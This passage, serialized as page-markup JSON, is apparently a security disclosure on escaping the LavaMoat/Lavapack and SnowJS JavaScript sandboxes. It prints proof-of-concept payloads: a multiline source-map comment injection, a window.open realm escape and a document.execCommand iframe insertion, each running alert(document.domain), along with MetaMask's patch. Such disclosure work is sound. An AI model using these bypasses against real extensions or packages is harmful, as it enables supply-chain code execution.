value":47023},"mg",{"type":23,"tag":139,"props":47025,"children":47026},{"style":259},[47027],{"type":28,"value":995},{"type":23,"tag":139,"props":47029,"children":47030},{"class":141,"line":178},[47031],{"type":23,"tag":139,"props":47032,"children":47033},{"style":259},[47034],{"type":28,"value":3874},{"type":23,"tag":139,"props":47036,"children":47037},{"class":141,"line":187},[47038],{"type":23,"tag":139,"props":47039,"children":47040},{"style":259},[47041],{"type":28,"value":33227},{"type":23,"tag":139,"props":47043,"children":47044},{"class":141,"line":196},[47045],{"type":23,"tag":139,"props":47046,"children":47047},{"emptyLinePlaceholder":15},[47048],{"type":28,"value":184},{"type":23,"tag":139,"props":47050,"children":47051},{"class":141,"line":205},[47052,47056,47060,47064,47068,47072,47076,47080],{"type":23,"tag":139,"props":47053,"children":47054},{"style":305},[47055],{"type":28,"value":35776},{"type":23,"tag":139,"props":47057,"children":47058},{"style":259},[47059],{"type":28,"value":73},{"type":23,"tag":139,"props":47061,"children":47062},{"style":245},[47063],{"type":28,"value":46667},{"type":23,"tag":139,"props":47065,"children":47066},{"style":982},[47067],{"type":28,"value":985},{"type":23,"tag":139,"props":47069,"children":47070},{"style":279},[47071],{"type":28,"value":36104},{"type":23,"tag":139,"props":47073,"children":47074},{"style":259},[47075],{"type":28,"value":1042},{"type":23,"tag":139,"props":47077,"children":47078},{"style":294},[47079],{"type":28,"value":30557},{"type":23,"tag":139,"props":47081,"children":47082},{"style":259},[47083],{"type":28,"value":12815},{"type":23,"tag":139,"props":47085,"children":47086},{"class":141,"line":214},[47087,47091,47095,47099,47104,47108,47112,47116,47121,47125,47130],{"type":23,"tag":139,"props":47088,"children":47089},{"style":319},[47090],{"type":28,"value":37089},{"type":23,"tag":139,"props":47092,"children":47093},{"style":294},[47094],{"type":28,"value":46258},{"type":23,"tag":139,"props":47096,"children":47097},{"style":259},[47098],{"type":28,"value":73},{"type":23,"tag":139,"props":47100,"children":47101},{"style":245},[47102],{"type":28,"value":47103},"replace",{"type":23,"tag":139,"props":47105,"children":47106},{"style":259},[47107],{"type":28,"value":262},{"type":23,"tag":139,"props":47109,"children":47110},{"style":305},[47111],{"type":28,"value":35776},{"type":23,"tag":139,"props":47113,"children":47114},{"style":259},[47115],{"type":28,"value":73},{"type":23,"tag":139,"props":47117,"children":47118},{"style":294},[47119],{"type":28,"value":47120},"commentRegex",{"type":23,"tag":139,"props":47122,"children":47123},{"style":259},[47124],{"type":28,"value":1052},{"type":23,"tag":139,"props":47126,"children":47127},{"style":265},[47128],{"type":28,"value":47129},"''",{"type":23,"tag":139,"props":47131,"children":47132},{"style":259},[47133],{"type":28,"value":1820},{"type":23,"tag":139,"props":47135,"children":47136},{"class":141,"line":1320},[47137],{"type":23,"tag":139,"props":47138,"children":47139},{"style":259},[47140],{"type":28,"value":14589},{"type":23,"tag":24,"props":47142,"children":47143},{},[47144,47146,47152],{"type":28,"value":47145},"Looking deeper at the RegEx, it matches the start of the multiple line comment (",{"type":23,"tag":135,"props":47147,"children":47149},{"className":47148},[],[47150],{"type":28,"value":47151},"/*",{"type":28,"value":47153},") but doesn't match the end of it, meaning that the syntax would break in the case of multiline source map comments.",{"type":23,"tag":666,"props":47155,"children":47157},{"id":47156},"the-bypass",[47158],{"type":28,"value":47159},"The Bypass",{"type":23,"tag":24,"props":47161,"children":47162},{},[47163,47165,47170,47172,47177],{"type":28,"value":47164},"By abusing the ",{"type":23,"tag":135,"props":47166,"children":47168},{"className":47167},[],[47169],{"type":28,"value":46667},{"type":28,"value":47171}," function, we could bypass the Lavamoat restrictions by escaping the ",{"type":23,"tag":135,"props":47173,"children":47175},{"className":47174},[],[47176],{"type":28,"value":46011},{"type":28,"value":47178}," sandbox. To do so, we created a multiline source map comment, and injected the invalid javascript inside the comment:",{"type":23,"tag":128,"props":47180,"children":47182},{"className":29250,"code":47181,"language":29252,"meta":7,"style":7},"/*# sourceMappingURL=data:,{}\n\n}}}}\n}, {\n    package: \"xpl\",\n    file: \"node_modules/xpl/index.js\",\n    test: alert(document.domain),\n    test1: () => { () => { () => { () => {\n\n/*\n*/\n",[47183],{"type":23,"tag":135,"props":47184,"children":47185},{"__ignoreMap":7},[47186,47194,47201,47209,47217,47225,47233,47241,47249,47256,47264],{"type":23,"tag":139,"props":47187,"children":47188},{"class":141,"line":142},[47189],{"type":23,"tag":139,"props":47190,"children":47191},{"style":958},[47192],{"type":28,"value":47193},"/*# sourceMappingURL=data:,{}\n",{"type":23,"tag":139,"props":47195,"children":47196},{"class":141,"line":151},[47197],{"type":23,"tag":139,"props":47198,"children":47199},{"emptyLinePlaceholder":15},[47200],{"type":28,"value":184},{"type":23,"tag":139,"props":47202,"children":47203},{"class":141,"line":160},[47204],{"type":23,"tag":139,"props":47205,"children":47206},{"style":958},[47207],{"type":28,"value":47208},"}}}}\n",{"type":23,"tag":139,"props":47210,"children":47211},{"class":141,"line":169},[47212],{"type":23,"tag":139,"props":47213,"children":47214},{"style":958},[47215],{"type":28,"value":47216},"}, {\n",{"type":23,"tag":139,"props":47218,"children":47219},{"class":141,"line":178},[47220],{"type":23,"tag":139,"props":47221,"children":47222},{"style":958},[47223],{"type":28,"value":47224},"    package: \"xpl\",\n",{"type":23,"tag":139,"props":47226,"children":47227},{"class":141,"line":187},[47228],{"type":23,"tag":139,"props":47229,"children":47230},{"style":958},[47231],{"type":28,"value":47232},"    file: \"node_modules/xpl/index.js\",\n",{"type":23,"tag":139,"props":47234,"children":47235},{"class":141,"line":196},[47236],{"type":23,"tag":139,"props":47237,"children":47238},{"style":958},[47239],{"type":28,"value":47240},"    test: alert(document.domain),\n",{"type":23,"tag":139,"props":47242,"children":47243},{"class":141,"line":205},[47244],{"type":23,"tag":139,"props":47245,"children":47246},{"style":958},[47247],{"type":28,"value":47248},"    test1: () => { () => { () => { () => {\n",{"type":23,"tag":139,"props":47250,"children":47251},{"class":141,"line":214},[47252],{"type":23,"tag":139,"props":47253,"children":47254},{"emptyLinePlaceholder":15},[47255],{"type":28,"value":184},{"type":23,"tag":139,"props":47257,"children":47258},{"class":141,"line":1320},[47259],{"type":23,"tag":139,"props":47260,"children":47261},{"style":958},[47262],{"type":28,"value":47263},"/*\n",{"type":23,"tag":139,"props":47265,"children":47266},{"class":141,"line":1329},[47267],{"type":23,"tag":139,"props":47268,"children":47269},{"style":958},[47270],{"type":28,"value":47271},"*/\n",{"type":23,"tag":24,"props":47273,"children":47274},{},[47275],{"type":28,"value":47276},"This allows malicious code to execute without breaking any other package or feature. This payload also makes the supply chain attack more impactful. Any injected code is executed as soon as the bundle file is imported.",{"type":23,"tag":666,"props":47278,"children":47280},{"id":47279},"lavapack-patch",[47281],{"type":28,"value":47282},"Lavapack Patch",{"type":23,"tag":24,"props":47284,"children":47285},{},[47286,47288,47294],{"type":28,"value":47287},"Metamask mitigated the issues we reported on Lavapack by defining ",{"type":23,"tag":135,"props":47289,"children":47291},{"className":47290},[],[47292],{"type":28,"value":47293},"assertValidJS",{"type":28,"value":47295},", an independent check that differs from the browserify syntax check we used to exploit the issue.",{"type":23,"tag":24,"props":47297,"children":47298},{},[47299,47301,47308],{"type":28,"value":47300},"The patch was introduced in commit ",{"type":23,"tag":64,"props":47302,"children":47305},{"href":47303,"rel":47304},"https://github.com/LavaMoat/LavaMoat/commit/9c38cd47e7875dde53349dd34971c74ce34004d9",[68],[47306],{"type":28,"value":47307},"9c38cd4",{"type":28,"value":73},{"type":23,"tag":128,"props":47310,"children":47312},{"className":38251,"code":47311,"language":38253,"meta":7,"style":7},"+ function assertValidJS(code) {\n+  try {\n+    new Function(code)\n+  } catch (err) {\n+    throw new Error(`Invalid JavaScript: ${err.message}`)\n+  }\n+ }\n\n+  // additional layer of syntax checking independent of browserify\n+  assertValidJS(sourceMeta.code) \n\n",[47313],{"type":23,"tag":135,"props":47314,"children":47315},{"__ignoreMap":7},[47316,47324,47332,47340,47348,47356,47364,47372,47379,47387],{"type":23,"tag":139,"props":47317,"children":47318},{"class":141,"line":142},[47319],{"type":23,"tag":139,"props":47320,"children":47321},{"style":1016},[47322],{"type":28,"value":47323},"+ function assertValidJS(code) {\n",{"type":23,"tag":139,"props":47325,"children":47326},{"class":141,"line":151},[47327],{"type":23,"tag":139,"props":47328,"children":47329},{"style":1016},[47330],{"type":28,"value":47331},"+  try {\n",{"type":23,"tag":139,"props":47333,"children":47334},{"class":141,"line":160},[47335],{"type":23,"tag":139,"props":47336,"children":47337},{"style":1016},[47338],{"type":28,"value":47339},"+    new Function(code)\n",{"type":23,"tag":139,"props":47341,"children":47342},{"class":141,"line":169},[47343],{"type":23,"tag":139,"props":47344,"children":47345},{"style":1016},[47346],{"type":28,"value":47347},"+  } catch (err) {\n",{"type":23,"tag":139,"props":47349,"children":47350},{"class":141,"line":178},[47351],{"type":23,"tag":139,"props":47352,"children":47353},{"style":1016},[47354],{"type":28,"value":47355},"+    throw new Error(`Invalid JavaScript: ${err.message}`)\n",{"type":23,"tag":139,"props":47357,"children":47358},{"class":141,"line":187},[47359],{"type":23,"tag":139,"props":47360,"children":47361},{"style":1016},[47362],{"type":28,"value":47363},"+  }\n",{"type":23,"tag":139,"props":47365,"children":47366},{"class":141,"line":196},[47367],{"type":23,"tag":139,"props":47368,"children":47369},{"style":1016},[47370],{"type":28,"value":47371},"+ }\n",{"type":23,"tag":139,"props":47373,"children":47374},{"class":141,"line":205},[47375],{"type":23,"tag":139,"props":47376,"children":47377},{"emptyLinePlaceholder":15},[47378],{"type":28,"value":184},{"type":23,"tag":139,"props":47380,"children":47381},{"class":141,"line":214},[47382],{"type":23,"tag":139,"props":47383,"children":47384},{"style":1016},[47385],{"type":28,"value":47386},"+  // additional layer of syntax checking independent of browserify\n",{"type":23,"tag":139,"props":47388,"children":47389},{"class":141,"line":1320},[47390],{"type":23,"tag":139,"props":47391,"children":47392},{"style":1016},[47393],{"type":28,"value":47394},"+  assertValidJS(sourceMeta.code)\n",{"type":23,"tag":41,"props":47396,"children":47398},{"id":47397},"hacking-js-realms",[47399],{"type":28,"value":47400},"Hacking JS Realms",{"type":23,"tag":24,"props":47402,"children":47403},{},[47404,47406,47411],{"type":28,"value":47405},"Lavamoat scuttling removes unnecessary and dangerous attributes from the ",{"type":23,"tag":135,"props":47407,"children":47409},{"className":47408},[],[47410],{"type":28,"value":35307},{"type":28,"value":47412}," object. However, this can be easily bypassed when Lavamoat is running in a browser context.",{"type":23,"tag":128,"props":47414,"children":47416},{"className":29250,"code":47415,"language":29252,"meta":7,"style":7},"const w = window.open('/non_existent');\nw.alert(document.domain)\n",[47417],{"type":23,"tag":135,"props":47418,"children":47419},{"__ignoreMap":7},[47420,47462],{"type":23,"tag":139,"props":47421,"children":47422},{"class":141,"line":142},[47423,47427,47432,47436,47440,47444,47449,47453,47458],{"type":23,"tag":139,"props":47424,"children":47425},{"style":279},[47426],{"type":28,"value":7663},{"type":23,"tag":139,"props":47428,"children":47429},{"style":294},[47430],{"type":28,"value":47431}," w",{"type":23,"tag":139,"props":47433,"children":47434},{"style":982},[47435],{"type":28,"value":985},{"type":23,"tag":139,"props":47437,"children":47438},{"style":294},[47439],{"type":28,"value":29295},{"type":23,"tag":139,"props":47441,"children":47442},{"style":259},[47443],{"type":28,"value":73},{"type":23,"tag":139,"props":47445,"children":47446},{"style":245},[47447],{"type":28,"value":47448},"open",{"type":23,"tag":139,"props":47450,"children":47451},{"style":259},[47452],{"type":28,"value":262},{"type":23,"tag":139,"props":47454,"children":47455},{"style":265},[47456],{"type":28,"value":47457},"'/non_existent'",{"type":23,"tag":139,"props":47459,"children":47460},{"style":259},[47461],{"type":28,"value":1820},{"type":23,"tag":139,"props":47463,"children":47464},{"class":141,"line":151},[47465,47470,47474,47478,47482,47486,47490,47494],{"type":23,"tag":139,"props":47466,"children":47467},{"style":294},[47468],{"type":28,"value":47469},"w",{"type":23,"tag":139,"props":47471,"children":47472},{"style":259},[47473],{"type":28,"value":73},{"type":23,"tag":139,"props":47475,"children":47476},{"style":245},[47477],{"type":28,"value":30585},{"type":23,"tag":139,"props":47479,"children":47480},{"style":259},[47481],{"type":28,"value":262},{"type":23,"tag":139,"props":47483,"children":47484},{"style":294},[47485],{"type":28,"value":30595},{"type":23,"tag":139,"props":47487,"children":47488},{"style":259},[47489],{"type":28,"value":73},{"type":23,"tag":139,"props":47491,"children":47492},{"style":294},[47493],{"type":28,"value":30605},{"type":23,"tag":139,"props":47495,"children":47496},{"style":259},[47497],{"type":28,"value":273},{"type":23,"tag":24,"props":47499,"children":47500},{},[47501,47503,47508],{"type":28,"value":47502},"This opens a new window with a new JS Realm (another ",{"type":23,"tag":135,"props":47504,"children":47506},{"className":47505},[],[47507],{"type":28,"value":35307},{"type":28,"value":47509}," object), and uses it to execute code in the context of the scuttled window. Note that the window needs to be same-origin and must not be scuttled.",{"type":23,"tag":24,"props":47511,"children":47512},{},[47513,47515,47522],{"type":28,"value":47514},"As a mitigation, some applications integrate SnowJS with scuttling, so every new same-origin window and iframe will be detected and scuttled (check the ",{"type":23,"tag":64,"props":47516,"children":47519},{"href":47517,"rel":47518},"https://github.com/MetaMask/metamask-extension/blob/3996f505a6a156d96077acb49579e6fc9e78cd45/app/scripts/use-snow.js#L22",[68],[47520],{"type":28,"value":47521},"Metamask implementation",{"type":28,"value":1104},{"type":23,"tag":666,"props":47524,"children":47526},{"id":47525},"snowjs-attack-surface",[47527],{"type":28,"value":47528},"SnowJS Attack Surface",{"type":23,"tag":24,"props":47530,"children":47531},{},[47532],{"type":28,"value":47533},"SnowJS is a javascript sandbox implementation that secures same-origin realms in browser applications. It is configured to detect new realms and attach them to the sandbox.",{"type":23,"tag":24,"props":47535,"children":47536},{},[47537,47539,47546],{"type":28,"value":47538},"As a mechanism, it hooks functions that can be used to create realms (an iframe, for example). For example, here are some of the ",{"type":23,"tag":64,"props":47540,"children":47543},{"href":47541,"rel":47542},"https://github.com/LavaMoat/snow/blob/ecf1add05c774b90b8baeff934b2e40585e13ca4/src/inserters.js#L9",[68],[47544],{"type":28,"value":47545},"hooked inserters",{"type":28,"value":47547}," functions:",{"type":23,"tag":128,"props":47549,"children":47551},{"className":29250,"code":47550,"language":29252,"meta":7,"style":7},"const map = {\n    Range: ['insertNode'],\n    DocumentFragment: ['replaceChildren', 'append', 'prepend'],\n    Document: ['replaceChildren', 'append', 'prepend', 'write', 'writeln'],\n    Node: ['appendChild', 'insertBefore', 'replaceChild'],\n    Element: ['innerHTML', 'outerHTML', 'insertAdjacentHTML', 'replaceWith', 'insertAdjacentElement', 'append', 'before', 'prepend', 'after', 'replaceChildren'],\n    ShadowRoot: ['innerHTML'],\n    HTMLIFrameElement: ['srcdoc'],\n};\n",[47552],{"type":23,"tag":135,"props":47553,"children":47554},{"__ignoreMap":7},[47555,47575,47596,47635,47689,47728,47827,47847,47868],{"type":23,"tag":139,"props":47556,"children":47557},{"class":141,"line":142},[47558,47562,47567,47571],{"type":23,"tag":139,"props":47559,"children":47560},{"style":279},[47561],{"type":28,"value":7663},{"type":23,"tag":139,"props":47563,"children":47564},{"style":294},[47565],{"type":28,"value":47566}," map",{"type":23,"tag":139,"props":47568,"children":47569},{"style":982},[47570],{"type":28,"value":985},{"type":23,"tag":139,"props":47572,"children":47573},{"style":259},[47574],{"type":28,"value":1268},{"type":23,"tag":139,"props":47576,"children":47577},{"class":141,"line":151},[47578,47583,47587,47592],{"type":23,"tag":139,"props":47579,"children":47580},{"style":294},[47581],{"type":28,"value":47582},"    Range:",{"type":23,"tag":139,"props":47584,"children":47585},{"style":259},[47586],{"type":28,"value":21041},{"type":23,"tag":139,"props":47588,"children":47589},{"style":265},[47590],{"type":28,"value":47591},"'insertNode'",{"type":23,"tag":139,"props":47593,"children":47594},{"style":259},[47595],{"type":28,"value":12274},{"type":23,"tag":139,"props":47597,"children":47598},{"class":141,"line":160},[47599,47604,47608,47613,47617,47622,47626,47631],{"type":23,"tag":139,"props":47600,"children":47601},{"style":294},[47602],{"type":28,"value":47603},"    DocumentFragment:",{"type":23,"tag":139,"props":47605,"children":47606},{"style":259},[47607],{"type":28,"value":21041},{"type":23,"tag":139,"props":47609,"children":47610},{"style":265},[47611],{"type":28,"value":47612},"'replaceChildren'",{"type":23,"tag":139,"props":47614,"children":47615},{"style":259},[47616],{"type":28,"value":1052},{"type":23,"tag":139,"props":47618,"children":47619},{"style":265},[47620],{"type":28,"value":47621},"'append'",{"type":23,"tag":139,"props":47623,"children":47624},{"style":259},[47625],{"type":28,"value":1052},{"type":23,"tag":139,"props":47627,"children":47628},{"style":265},[47629],{"type":28,"value":47630},"'prepend'",{"type":23,"tag":139,"props":47632,"children":47633},{"style":259},[47634],{"type":28,"value":12274},{"type":23,"tag":139,"props":47636,"children":47637},{"class":141,"line":169},[47638,47643,47647,47651,47655,47659,47663,47667,47671,47676,47680,47685],{"type":23,"tag":139,"props":47639,"children":47640},{"style":294},[47641],{"type":28,"value":47642},"    Document:",{"type":23,"tag":139,"props":47644,"children":47645},{"style":259},[47646],{"type":28,"value":21041},{"type":23,"tag":139,"props":47648,"children":47649},{"style":265},[47650],{"type":28,"value":47612},{"type":23,"tag":139,"props":47652,"children":47653},{"style":259},[47654],{"type":28,"value":1052},{"type":23,"tag":139,"props":47656,"children":47657},{"style":265},[47658],{"type":28,"value":47621},{"type":23,"tag":139,"props":47660,"children":47661},{"style":259},[47662],{"type":28,"value":1052},{"type":23,"tag":139,"props":47664,"children":47665},{"style":265},[47666],{"type":28,"value":47630},{"type":23,"tag":139,"props":47668,"children":47669},{"style":259},[47670],{"type":28,"value":1052},{"type":23,"tag":139,"props":47672,"children":47673},{"style":265},[47674],{"type":28,"value":47675},"'write'",{"type":23,"tag":139,"props":47677,"children":47678},{"style":259},[47679],{"type":28,"value":1052},{"type":23,"tag":139,"props":47681,"children":47682},{"style":265},[47683],{"type":28,"value":47684},"'writeln'",{"type":23,"tag":139,"props":47686,"children":47687},{"style":259},[47688],{"type":28,"value":12274},{"type":23,"tag":139,"props":47690,"children":47691},{"class":141,"line":178},[47692,47697,47701,47706,47710,47715,47719,47724],{"type":23,"tag":139,"props":47693,"children":47694},{"style":294},[47695],{"type":28,"value":47696},"    Node:",{"type":23,"tag":139,"props":47698,"children":47699},{"style":259},[47700],{"type":28,"value":21041},{"type":23,"tag":139,"props":47702,"children":47703},{"style":265},[47704],{"type":28,"value":47705},"'appendChild'",{"type":23,"tag":139,"props":47707,"children":47708},{"style":259},[47709],{"type":28,"value":1052},{"type":23,"tag":139,"props":47711,"children":47712},{"style":265},[47713],{"type":28,"value":47714},"'insertBefore'",{"type":23,"tag":139,"props":47716,"children":47717},{"style":259},[47718],{"type":28,"value":1052},{"type":23,"tag":139,"props":47720,"children":47721},{"style":265},[47722],{"type":28,"value":47723},"'replaceChild'",{"type":23,"tag":139,"props":47725,"children":47726},{"style":259},[47727],{"type":28,"value":12274},{"type":23,"tag":139,"props":47729,"children":47730},{"class":141,"line":187},[47731,47736,47740,47745,47749,47754,47758,47763,47767,47772,47776,47781,47785,47789,47793,47798,47802,47806,47810,47815,47819,47823],{"type":23,"tag":139,"props":47732,"children":47733},{"style":294},[47734],{"type":28,"value":47735},"    Element:",{"type":23,"tag":139,"props":47737,"children":47738},{"style":259},[47739],{"type":28,"value":21041},{"type":23,"tag":139,"props":47741,"children":47742},{"style":265},[47743],{"type":28,"value":47744},"'innerHTML'",{"type":23,"tag":139,"props":47746,"children":47747},{"style":259},[47748],{"type":28,"value":1052},{"type":23,"tag":139,"props":47750,"children":47751},{"style":265},[47752],{"type":28,"value":47753},"'outerHTML'",{"type":23,"tag":139,"props":47755,"children":47756},{"style":259},[47757],{"type":28,"value":1052},{"type":23,"tag":139,"props":47759,"children":47760},{"style":265},[47761],{"type":28,"value":47762},"'insertAdjacentHTML'",{"type":23,"tag":139,"props":47764,"children":47765},{"style":259},[47766],{"type":28,"value":1052},{"type":23,"tag":139,"props":47768,"children":47769},{"style":265},[47770],{"type":28,"value":47771},"'replaceWith'",{"type":23,"tag":139,"props":47773,"children":47774},{"style":259},[47775],{"type":28,"value":1052},{"type":23,"tag":139,"props":47777,"children":47778},{"style":265},[47779],{"type":28,"value":47780},"'insertAdjacentElement'",{"type":23,"tag":139,"props":47782,"children":47783},{"style":259},[47784],{"type":28,"value":1052},{"type":23,"tag":139,"props":47786,"children":47787},{"style":265},[47788],{"type":28,"value":47621},{"type":23,"tag":139,"props":47790,"children":47791},{"style":259},[47792],{"type":28,"value":1052},{"type":23,"tag":139,"props":47794,"children":47795},{"style":265},[47796],{"type":28,"value":47797},"'before'",{"type":23,"tag":139,"props":47799,"children":47800},{"style":259},[47801],{"type":28,"value":1052},{"type":23,"tag":139,"props":47803,"children":47804},{"style":265},[47805],{"type":28,"value":47630},{"type":23,"tag":139,"props":47807,"children":47808},{"style":259},[47809],{"type":28,"value":1052},{"type":23,"tag":139,"props":47811,"children":47812},{"style":265},[47813],{"type":28,"value":47814},"'after'",{"type":23,"tag":139,"props":47816,"children":47817},{"style":259},[47818],{"type":28,"value":1052},{"type":23,"tag":139,"props":47820,"children":47821},{"style":265},[47822],{"type":28,"value":47612},{"type":23,"tag":139,"props":47824,"children":47825},{"style":259},[47826],{"type":28,"value":12274},{"type":23,"tag":139,"props":47828,"children":47829},{"class":141,"line":196},[47830,47835,47839,47843],{"type":23,"tag":139,"props":47831,"children":47832},{"style":294},[47833],{"type":28,"value":47834},"    ShadowRoot:",{"type":23,"tag":139,"props":47836,"children":47837},{"style":259},[47838],{"type":28,"value":21041},{"type":23,"tag":139,"props":47840,"children":47841},{"style":265},[47842],{"type":28,"value":47744},{"type":23,"tag":139,"props":47844,"children":47845},{"style":259},[47846],{"type":28,"value":12274},{"type":23,"tag":139,"props":47848,"children":47849},{"class":141,"line":205},[47850,47855,47859,47864],{"type":23,"tag":139,"props":47851,"children":47852},{"style":294},[47853],{"type":28,"value":47854},"    HTMLIFrameElement:",{"type":23,"tag":139,"props":47856,"children":47857},{"style":259},[47858],{"type":28,"value":21041},{"type":23,"tag":139,"props":47860,"children":47861},{"style":265},[47862],{"type":28,"value":47863},"'srcdoc'",{"type":23,"tag":139,"props":47865,"children":47866},{"style":259},[47867],{"type":28,"value":12274},{"type":23,"tag":139,"props":47869,"children":47870},{"class":141,"line":214},[47871],{"type":23,"tag":139,"props":47872,"children":47873},{"style":259},[47874],{"type":28,"value":14589},{"type":23,"tag":24,"props":47876,"children":47877},{},[47878],{"type":28,"value":47879},"This means that an attacker can't use any of these functions to create an iframe and bypass the snowJS sandbox, because it will detect the new frame and include it in the sandbox.",{"type":23,"tag":24,"props":47881,"children":47882},{},[47883],{"type":28,"value":47884},"Unfortunately, client-side javascript is surprisingly complex with lots of strange behaviours that could be used to bypass the hook security feature.",{"type":23,"tag":666,"props":47886,"children":47888},{"id":47887},"bypassing-snowjs",[47889],{"type":28,"value":47890},"Bypassing SnowJS",{"type":23,"tag":24,"props":47892,"children":47893},{},[47894,47896,47907,47909,47915],{"type":28,"value":47895},"The deprecated ",{"type":23,"tag":64,"props":47897,"children":47900},{"href":47898,"rel":47899},"https://developer.mozilla.org/en-US/docs/Web/API/Document/execCommand",[68],[47901],{"type":23,"tag":135,"props":47902,"children":47904},{"className":47903},[],[47905],{"type":28,"value":47906},"document.execCommand",{"type":28,"value":47908}," function is used to execute commands inside a ",{"type":23,"tag":135,"props":47910,"children":47912},{"className":47911},[],[47913],{"type":28,"value":47914},"contenteditable",{"type":28,"value":47916}," focused context. Despite this being a deprecated function, it is still supported by modern browsers.",{"type":23,"tag":128,"props":47918,"children":47921},{"className":47919,"code":47920,"language":30270,"meta":7,"style":7},"language-html shiki shiki-themes slack-dark","\u003Cdiv id=test contenteditable autofocus>\u003C/div>\n",[47922],{"type":23,"tag":135,"props":47923,"children":47924},{"__ignoreMap":7},[47925],{"type":23,"tag":139,"props":47926,"children":47927},{"class":141,"line":142},[47928,47932,47936,47940,47944,47949,47954,47959,47964,47968],{"type":23,"tag":139,"props":47929,"children":47930},{"style":30263},[47931],{"type":28,"value":3808},{"type":23,"tag":139,"props":47933,"children":47934},{"style":279},[47935],{"type":28,"value":29233},{"type":23,"tag":139,"props":47937,"children":47938},{"style":294},[47939],{"type":28,"value":30343},{"type":23,"tag":139,"props":47941,"children":47942},{"style":259},[47943],{"type":28,"value":1067},{"type":23,"tag":139,"props":47945,"children":47946},{"style":265},[47947],{"type":28,"value":47948},"test",{"type":23,"tag":139,"props":47950,"children":47951},{"style":294},[47952],{"type":28,"value":47953}," contenteditable",{"type":23,"tag":139,"props":47955,"children":47956},{"style":294},[47957],{"type":28,"value":47958}," autofocus",{"type":23,"tag":139,"props":47960,"children":47961},{"style":30263},[47962],{"type":28,"value":47963},">\u003C/",{"type":23,"tag":139,"props":47965,"children":47966},{"style":279},[47967],{"type":28,"value":29233},{"type":23,"tag":139,"props":47969,"children":47970},{"style":30263},[47971],{"type":28,"value":3995},{"type":23,"tag":24,"props":47973,"children":47974},{},[47975,47977,47983,47985,47990],{"type":28,"value":47976},"After inserting this element to a page, it is possible to use ",{"type":23,"tag":135,"props":47978,"children":47980},{"className":47979},[],[47981],{"type":28,"value":47982},"insertHTML",{"type":28,"value":47984}," command of ",{"type":23,"tag":135,"props":47986,"children":47988},{"className":47987},[],[47989],{"type":28,"value":47906},{"type":28,"value":47991}," to add a non-sandboxed iframe.",{"type":23,"tag":128,"props":47993,"children":47995},{"className":29250,"code":47994,"language":29252,"meta":7,"style":7},"document.execCommand('insertHTML', false, '\u003Ciframe srcdoc=\"aaa\">');\n",[47996],{"type":23,"tag":135,"props":47997,"children":47998},{"__ignoreMap":7},[47999],{"type":23,"tag":139,"props":48000,"children":48001},{"class":141,"line":142},[48002,48006,48010,48015,48019,48024,48028,48032,48036,48041],{"type":23,"tag":139,"props":48003,"children":48004},{"style":294},[48005],{"type":28,"value":30595},{"type":23,"tag":139,"props":48007,"children":48008},{"style":259},[48009],{"type":28,"value":73},{"type":23,"tag":139,"props":48011,"children":48012},{"style":245},[48013],{"type":28,"value":48014},"execCommand",{"type":23,"tag":139,"props":48016,"children":48017},{"style":259},[48018],{"type":28,"value":262},{"type":23,"tag":139,"props":48020,"children":48021},{"style":265},[48022],{"type":28,"value":48023},"'insertHTML'",{"type":23,"tag":139,"props":48025,"children":48026},{"style":259},[48027],{"type":28,"value":1052},{"type":23,"tag":139,"props":48029,"children":48030},{"style":279},[48031],{"type":28,"value":6179},{"type":23,"tag":139,"props":48033,"children":48034},{"style":259},[48035],{"type":28,"value":1052},{"type":23,"tag":139,"props":48037,"children":48038},{"style":265},[48039],{"type":28,"value":48040},"'\u003Ciframe srcdoc=\"aaa\">'",{"type":23,"tag":139,"props":48042,"children":48043},{"style":259},[48044],{"type":28,"value":1820},{"type":23,"tag":666,"props":48046,"children":48048},{"id":48047},"impact-on-lavamoat-scuttling",[48049],{"type":28,"value":48050},"Impact On Lavamoat Scuttling",{"type":23,"tag":24,"props":48052,"children":48053},{},[48054],{"type":28,"value":48055},"As it is recommended to use snowJS integrated with Lavamoat scuttling to prevent bypasses, it is possible to completely bypass the scuttling feature without pre-conditions.",{"type":23,"tag":24,"props":48057,"children":48058},{},[48059,48061,48066,48068,48073],{"type":28,"value":48060},"For the exploit, the only used functions are in ",{"type":23,"tag":135,"props":48062,"children":48064},{"className":48063},[],[48065],{"type":28,"value":30595},{"type":28,"value":48067}," object, which can never be scuttled once it is a non-writable and non-configurable property in ",{"type":23,"tag":135,"props":48069,"children":48071},{"className":48070},[],[48072],{"type":28,"value":35307},{"type":28,"value":48074}," object.",{"type":23,"tag":24,"props":48076,"children":48077},{},[48078,48080,48085],{"type":28,"value":48079},"Consider this example, which runs a scuttled ",{"type":23,"tag":135,"props":48081,"children":48083},{"className":48082},[],[48084],{"type":28,"value":30585},{"type":28,"value":23489},{"type":23,"tag":128,"props":48087,"children":48089},{"className":29250,"code":48088,"language":29252,"meta":7,"style":7},"document.body.innerHTML = \"\u003Cdiv id=test contenteditable autofocus>\u003C/div>\";\ndocument.getElementById('test').focus();\ndocument.execCommand('insertHTML', false, '\u003Ciframe srcdoc=\"aaa\">');\ndocument.getElementsByTagName('iframe')[0].contentWindow.alert(document.domain);\n",[48090],{"type":23,"tag":135,"props":48091,"children":48092},{"__ignoreMap":7},[48093,48129,48166,48209],{"type":23,"tag":139,"props":48094,"children":48095},{"class":141,"line":142},[48096,48100,48104,48108,48112,48116,48120,48125],{"type":23,"tag":139,"props":48097,"children":48098},{"style":294},[48099],{"type":28,"value":30595},{"type":23,"tag":139,"props":48101,"children":48102},{"style":259},[48103],{"type":28,"value":73},{"type":23,"tag":139,"props":48105,"children":48106},{"style":294},[48107],{"type":28,"value":30287},{"type":23,"tag":139,"props":48109,"children":48110},{"style":259},[48111],{"type":28,"value":73},{"type":23,"tag":139,"props":48113,"children":48114},{"style":294},[48115],{"type":28,"value":32861},{"type":23,"tag":139,"props":48117,"children":48118},{"style":982},[48119],{"type":28,"value":985},{"type":23,"tag":139,"props":48121,"children":48122},{"style":265},[48123],{"type":28,"value":48124}," \"\u003Cdiv id=test contenteditable 